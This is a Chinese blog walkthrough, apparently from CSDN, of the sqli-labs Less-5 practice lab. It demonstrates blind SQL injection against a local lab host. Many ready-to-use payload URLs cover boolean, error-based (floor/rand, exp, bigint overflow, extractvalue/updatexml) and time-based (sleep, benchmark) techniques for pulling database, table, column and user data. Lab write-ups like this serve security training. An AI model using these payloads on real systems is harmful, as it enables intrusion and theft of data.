sqli-libs——less 5(盲注)

Less-5

由于这一关涉及到盲注的内容,所以我们还是想来看看源代码吧:


可以看到,如果运行返回结果正确的时候只返回you  are in...,不会返回数据库当中的信息了,所以我们不能之前所采用的在less-4之前的方法了。


从这里开始就要进行盲注了!

利用left(a,b)进行测试

测试数据库版本

利用left(database(),1)进行尝试

http://192.168.11.136/sqli-labs/Less-5?id=1' and left(version(),1)=5--+

查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。


当版本号信箱不正确的时候就不能够正常显示“you  are  in .....”


接下来看看数据库的长度



接下来猜测一下数据库的第一位:



经过测试大于、小于之后,我们最后可以用等于确定第一个字符为“s”

注:在我们不知情的情况下,我们可以使用二分法来提高注入效率。

测试数据库第二位:




由此可以确定第二位为“e”

之后的判断都是一样的,依次猜解就好,只需要修改left(a,b)中b的位置(该位置决定从哪个位置开始判断测试)。这里就不再过多的描述了。

利用substr()、ascii()函数进行测试

参考语句:

ascii(substr((select table_name from information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

从上面的测试,我们可以知道最后的数据库的名称为security,那么这一个小模块我们就来猜测security数据库下面的表信息:

获取security数据库的第一个表的第一个字符:

http://192.168.11.136/sqli-labs/Less-5?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

通过上面的推测,我们可以知道该数据库的第一个表的第一个字符为“e”

之后我们可以通过修改substr(str,start,length)中的第二个参数“start”来猜解第一个表的第二个字符的内容,这里就不再多做演示了!

同时,当我们猜测完第一个表的名称之后,我们就需要猜测第二个表的名称,那么这个时候,我们就可以通过limit start,length来实现,通过修改start的值,来实现对第二个参数的获取与测试。

例如:


至于后续的测试,按照该逻辑思维进行测试即可!

利用regexp获取user表中的列

从上面的测试中,我们可以确定数据库名称为security,而且数据库中存在user表,这一次,我们就通过regexp来猜解user表中的列的信息:

http://192.168.11.136/sqli-labs/Less-5?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+


从以上的返回信息,我们可以确定该user表中存在us****的列


由此我们可以确定存在列username!其余的列的猜解方式也是一样的,按照这个规律来即可!

利用ord()和mid()函数获取user表中的信息

我们同样可以使用ord()以及mid()函数的特性来获取user表中的信息,具体操作方式如下:

http://192.168.11.136/sqli-labs/Less-5?id=1' and ord(mid((select IFNULL(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+

获取user表中username中第一行的第一个字符的ascii,之后再将该ascii与我们所猜测字符对应的ascii值进行对比,从而即可得出这一个表中该字段的第一个字符。之后的猜解也是如粗,就不再过多的介绍了。

报错注入

报错注入:

http://192.168.11.136/sqli-labs/Less-5?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

数值类型超出范围进行报错注入

http://192.168.11.136/sqli-labs/Less-5?id=1'union select (exp(~(select * FROM(SELECT USER())a))),2,3--+


利用bigint溢出进行报错注入

http://192.168.11.136/sqli-labs/Less-5?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

Xpath函数报错注入

http://192.168.11.136/sqli-labs/Less-5?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+


http://192.168.11.136/sqli-labs/Less-5?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

数据的重复性

http://192.168.11.136/sqli-labs/Less-5?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

延时注入

利用sleep()函数注入

http://192.168.11.136/sqli-labs/Less-5?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+


当错误的时候会有5秒的时间延迟。

利用benchmark()函数注入

http://192.168.11.136/sqli-labs/Less-5?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

当结果正确的时候,运行encode('MSG',‘by 5 second’)操作500000000次,会占用一定的时间。


至此,我们将盲注的所有方法都在less-5中用了一遍,在后续的关卡中之后拿其中的一种来演示,至于其它的,有兴趣的可以自我掌握,自我学习!


总结:本次的博客耗费的时间比较长,同时也是借阅了不少技术大牛的文章,之后进行了一个简易的汇总,同时也是对自己之后的学习提供一个方便!希望对我对大家都有帮助!

猜你喜欢

转载自blog.csdn.net/fly_hps/article/details/80247032